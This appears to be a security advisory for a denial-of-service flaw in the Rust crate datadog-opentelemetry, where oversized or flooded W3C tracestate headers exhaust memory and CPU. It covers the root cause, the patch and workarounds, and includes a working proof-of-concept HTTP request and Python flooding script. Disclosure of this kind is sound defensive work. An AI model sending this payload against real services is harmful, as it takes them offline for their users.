CVE-2026-54788: datadog-opentelemetry Unbounded tracestate Parsing DoS
A remote attacker can crash or degrade any Rust service using the datadog-opentelemetry crate by sending a single HTTP request with an oversized or key-pair-flooded W3C tracestate header, forcing the…

The problem
The W3C Trace Context propagator in datadog-opentelemetry (versions 0.1.0 through 0.3.2) reads the incoming tracestate header and isolates the dd= vendor entry. It then splits that entry on semicolons and inserts every key:value pair into a hash-map with no limit on entry count or byte length.
Because tracecontext extraction is on by default, every inbound request to an instrumented service is an attack surface. A single malicious request carrying a multi-megabyte dd= value, or one containing tens of thousands of semicolon-separated pairs, triggers allocations proportional to attacker-controlled input.
This enables unauthenticated remote DoS against any internet-facing service using an affected version.
Proof of concept
A working proof-of-concept for CVE-2026-54788 in datadog-opentelemetry, with the exact payload below.
GET /api/endpoint HTTP/1.1
Host: victim.example.com
traceparent: 00-4bf92f3577b34da6a3ce929d0e0e4736-00f067aa0ba902b7-01
tracestate: dd=s:1;t.dm:-0;k1:v1;k2:v2;k3:v3;[...repeat key:value pairs or extend any value to megabytes...];kN:vN,othervendor=abc
# Minimal PoC: flood with unique semicolon-separated pairs
# python3 -c "
import socket
pairs = ";".join(f"k{i}:{'A'*256}" for i in range(100000))
header = f"dd={pairs}"
req = (
"GET /health HTTP/1.1\r\n"
"Host: victim.example.com\r\n"
f"traceparent: 00-4bf92f3577b34da6a3ce929d0e0e4736-00f067aa0ba902b7-01\r\n"
f"tracestate: {header}\r\n"
"Connection: close\r\n\r\n"
)
s = socket.create_connection(("victim.example.com", 80))
s.sendall(req.encode())
"The root cause is CWE-770: the parser performed no byte-length check on the dd= vendor string before splitting and allocating. The patch in 0.3.3 (commit 77c5d185, PR #218) introduces a hard cap so that any individual dd= list-entry exceeding the limit is dropped before the hash-map insert, bounding both CPU (split iterations) and memory (map allocations) to a constant maximum regardless of what the client sends.
The same fix pattern was applied across all Datadog tracers in the same disclosure window (e.g., dd-trace-go PR #4721 explicitly drops dd= list-entries over 256 bytes from incoming tracestate). The payload works because the library trusted the header length entirely, allocating one map entry per semicolon-delimited token with no guard.
The fix
Upgrade to datadog-opentelemetry 0.3.3 or later (dd-trace-rs commit 77c5d185). If an immediate upgrade is not possible, set the environment variable DD_TRACE_PROPAGATION_STYLE_EXTRACT to a value that excludes tracecontext (for example, datadog) to disable the vulnerable extraction path entirely.
Alternatively, cap maximum HTTP request header size at an upstream reverse proxy or load balancer.
Related research
- highpostgres-protocol: Unbounded SCRAM Iteration Count CPU Exhaustion DoS
- high · 7.5CVE-2026-16756CVE-2026-16756: aws-smithy-http-server Slowloris Denial of Service
- high · 7.5CVE-2026-25800: quinn-proto Unbounded Stream Reassembly Memory Exhaustion
- high · 7.5CVE-2026-46369CVE-2026-46369: nimiq-blockchain Validity Store Off-by-One Transaction Replay